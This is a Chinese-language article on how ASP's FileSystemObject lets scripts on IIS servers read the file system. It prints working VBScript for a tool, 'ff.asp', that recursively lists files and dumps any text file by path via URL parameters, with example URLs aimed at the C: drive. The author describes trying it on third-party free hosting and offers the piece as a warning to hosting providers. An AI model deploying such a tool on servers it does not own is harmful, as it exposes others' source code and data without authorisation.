top
Loading...
ASP中FSO對象對IISWEB服務器數據安全的威脅及對策
edward yang (edyang75@sina.com)

scripting.filesystemobject 對象是由 scrrun.dll 提供的許多供 vbscript/jscript 控制的 com 對象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目錄的訪問,但是同時也對 iis web 服務器數據安全造成了一定的威脅。

在繼續深入討論之前,請先到作者的主頁http://263.csdn.net/edyang/ download 區 source 分欄下載 filefinder asp 源代碼。

filefinder 的代碼很簡單,由3 個函數和 30 行左右的順序代碼構成。

最關鍵的是 findfiles 函數,通過對它的遞歸調用實現對某個目錄的遍歷,并且按照特定的文件擴展名來搜尋這些文件。

function findfiles(strstartfolder, strext)

dim n

dim othisfolder

dim ofolders

dim ofiles

dim ofolder

dim ofile

' 如果系統管理員對文件系統的權限進行細致的設置話,下面的代碼就要出錯

' 但是有些目錄還是可以察看的,所以我們簡單的把錯誤忽略過去

on error resume next

n = 0

response.write "<b>searching " & strstartfolder & "</b><br>"

set othisfolder = g_fs.getfolder(strstartfolder)

set ofiles = othisfolder.files

for each ofile in ofiles

' 如果是指定的文件擴展名,輸出連接導向本身,但用不同的命令 cmd

' 在這里是 cmd=read,即讀出指定物理路徑的文本文件

if issuffix(ofile.path, strext) then

response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"

if err = 0 then

n = n + 1

end if

end if

next

set ofolders = othisfolder.subfolders

for each ofolder in ofolders

n = n + findfiles(ofolder.path, strext)

next

findfiles = n

end function

下面的代碼是對 url 后面的參數進行分析:


' 讀出各個參數的值

strcmd = ucase(request.querystring("cmd"))

strpath = request.querystring("path")

strext = request.querystring("ext")

brawdata = ucase(request.querystring("raw"))

' 默認搜索 .asp 文件

if strpath = "" then

strpath = "."

end if

if strext = "" then

strext = ".asp"

end if


' 根據不同的命令 cmd 執行不同的代碼

select case strcmd

case "find"

response.write findfiles(strpath, strext) & " file(s) found"

case "read"

if brawdata = "t" then

response.write readtextfile(strpath)

else

response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"

end if

case else

response.write "<h3>please specify a command to execute</h3>"

end select

從上面的分析可以看出,如果有足夠的權限的話,我們就可以通過 filefinder 來查找 iis web 服務器上的任意文本文件,并且可以輕松的察看文件內容。對于非文本文件,可以確定他們是否存在及其所在路徑,這對于高級 hacker 們來說,這些信息有時是極其重要的。

但是這些對數據安全的威脅的前提條件是執行 ff.asp 的用戶至少擁有讀取目錄和文件的權限。由于 windows nt server 在安裝后的默認安全設置是所有用戶都可以“讀取”目錄和文件,所以不管是 iis 默認的你名用戶 iusr_servername 還是別的什么用戶,都可以順列的讀取目錄和文件的信息。而大多數 windows nt server系統管理員主要關心系統是否能夠運行的起來,一般不愿意去改動默認的目錄和文件權限,畢竟那樣做要冒很大的風險,而且需要很多次得經驗。所以,我們可以用 filefinder 來檢查作為 web 服務器的 nt server 的文件系統的安全設置是否安全。

作者專門對作為 iis web 服務器的文件系統的權限進行了人工設置,但限于沒有經驗,導致了許多奇怪的錯誤現象,如:所用的做實驗的 nt server 4.0 不能進行 access 數據庫的連接。而在進行文件系統權限改動之前,這些功能是正常的。

本著純粹研究的目的,作者還在我所申請的免費 asp 空間上作了試驗(包括 csdn 提供的我的個人主頁),結果是 filefinder 都可以順利運行。而在http://www2.domaindlx.com/index.html 申請的個人主頁卻沒有這個問題,可見這個免費 asp 主頁提供商在這方面做的還是比較認真的。盡管 domaindlx 的 web 服務器運行在 windows 2000 server 上的,其默認的文件系統的安全權限和 nt 4.0 沒有很大的差別。

由于作者的能力有限,就對這個問題討論到這里。僅以此文來向國內的 asp 主頁提供商提供參考意見,希望能對提供商和客戶雙方的數據安全都有所幫助。

附:用其它類似的服務器端腳本來運行的 web 服務,如果也提供類似 scripting.filesystemobject 的對文件系統操作的功能,不管什么平臺應該存在同樣的問題。
例了:
http://localhost/edyang/ff.asp?cmd=find&path=c:http://localhost/edyang/ff.asp?cmd=find&path=c:my documents&ext=txt&raw=true

北斗有巢氏 有巢氏北斗